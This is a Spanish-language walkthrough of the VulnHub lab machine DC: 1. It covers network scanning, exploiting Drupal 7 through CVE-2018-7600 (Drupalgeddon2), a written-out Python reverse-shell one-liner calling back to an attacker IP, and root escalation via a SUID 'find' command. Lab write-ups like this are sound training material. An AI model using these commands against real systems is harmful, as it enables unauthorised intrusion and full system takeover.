En este post voy a vulnerar la máquina DC: 1 de Vulnhub. Es una máquina Linux, de nivel fácil para VulnHub y Proving Grounds, basada en Drupal y el bit SUID.
Enumeración
Comienzo averiguando la IP que ha tomado la máquina con netdiscover.
sudo netdiscover -i eth0

Ahora que ya tengo la IP en la que está alojada la máquina, escaneo los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo.
nmap -p- --open -n --min-rate 5000 192.168.71.155

En la máquina hay cuatro puertos abiertos. Escaneo los tres primeros puertos que he encontrado, ya que el último es un puerto dinámico del sistema, para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p22,80,111 -sCV 192.168.71.155 Starting Nmap 7.91 ( https://nmap.org ) at 2022-05-14 20:07 CEST Nmap scan report for 192.168.71.155 Host is up (0.0013s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0) | ssh-hostkey: | 1024 c4:d6:59:e6:77:4c:22:7a:96:16:60:67:8b:42:48:8f (DSA) | 2048 11:82:fe:53:4e:dc:5b:32:7f:44:64:82:75:7d:d0:a0 (RSA) |_ 256 3d:aa:98:5c:87:af:ea:84:b8:23:68:8d:b9:05:5f:d8 (ECDSA) 80/tcp open http Apache httpd 2.2.22 ((Debian)) |_http-generator: Drupal 7 (http://drupal.org) | http-robots.txt: 36 disallowed entries (15 shown) | /includes/ /misc/ /modules/ /profiles/ /scripts/ | /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt | /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt |_/LICENSE.txt /MAINTAINERS.txt |_http-server-header: Apache/2.2.22 (Debian) |_http-title: Welcome to Drupal Site | Drupal Site 111/tcp open rpcbind 2-4 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2,3,4 111/tcp rpcbind | 100000 2,3,4 111/udp rpcbind | 100000 3,4 111/tcp6 rpcbind | 100000 3,4 111/udp6 rpcbind | 100024 1 44986/udp6 status | 100024 1 47406/udp status | 100024 1 50594/tcp6 status |_ 100024 1 57688/tcp status Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 10.67 seconds
Accedo a la web y llego al portal de autenticación del CMS Drupal.

Para enumerar rápidamente el CMS, utilizo la herramienta para python 3 droopscan y me indica que la versión mas reciente es la 7.26.
droopscan scan drupal -u http://192.168.71.155/

Explotación
Buscando un poco por internet, encuentro que esta versión tiene una vulnerabilidad registrada como CVE-2018-7600. Esta vulnerabilidad tiene múltiples exploit pero yo elijo el del github de dreadlocked, que me permite obtener una shell simple.
https://github.com/dreadlocked/Drupalgeddon2

Como esta shell tiene algunas limitaciones, voy a generar una shell reversa en python por el puerto 1234.
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.71.135",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


Escalada de privilegios
En primer lugar, para que la resolución sea válida para OSCP, es necesario conseguir una shell en tty. Para ello, como la máquina tiene python, ejecuto mi script automatizado, pero al final de la resolución indicaré como conseguirla de forma manual.
Ejecuto Linux Smart Enumeration, con el nivel 1 de verbosity y me indica que el comando find posee el bit SUID.

Busco en GTFObins y encuentro una forma de escalar privilegios cuando el comando find tiene el bit SIUD.
Ejecuto el comando tal y como indica en la web pero me aparece un error debido a que no reconoce la opción -p. Vuelvo a ejecutarlo sin esta opción y me convierto en root.
find . -exec /bin/sh -p \; -quit find . -exec /bin/sh \; -quit

La flag de root (en la máquina hay otras pero carecen de interés) la encuentro en el directorio raíz de root.

tty
Como ya he dicho anteriormente en otros post, para que la máquina esté resuelta de modo OSCP Friendly, es necesario conseguir una shell tty. Con los siguientes comandos consigo convertir la shell en shell tty en fácilmente.
script /dev/null -c bash ^Z
CTRL + Z
Ahora sin cambiar de consola.
stty raw -echo; fg reset
Y con esto vuelvo a la shell reversa. Añado los siguientes comandos.
xterm export TERM=xterm export SHELL=bash
Y ya he conseguido una consola tty.
Para finalizar (esto es opcional) solo me faltaría adaptar las dimensiones de la shell de la consola a las de mi ventana de shell. En una shell de mi máquina atacante compruebo las dimensiones de la ventana.
stty size
Y las modifico en la shell reversa.
stty rows [X] columns [Y]
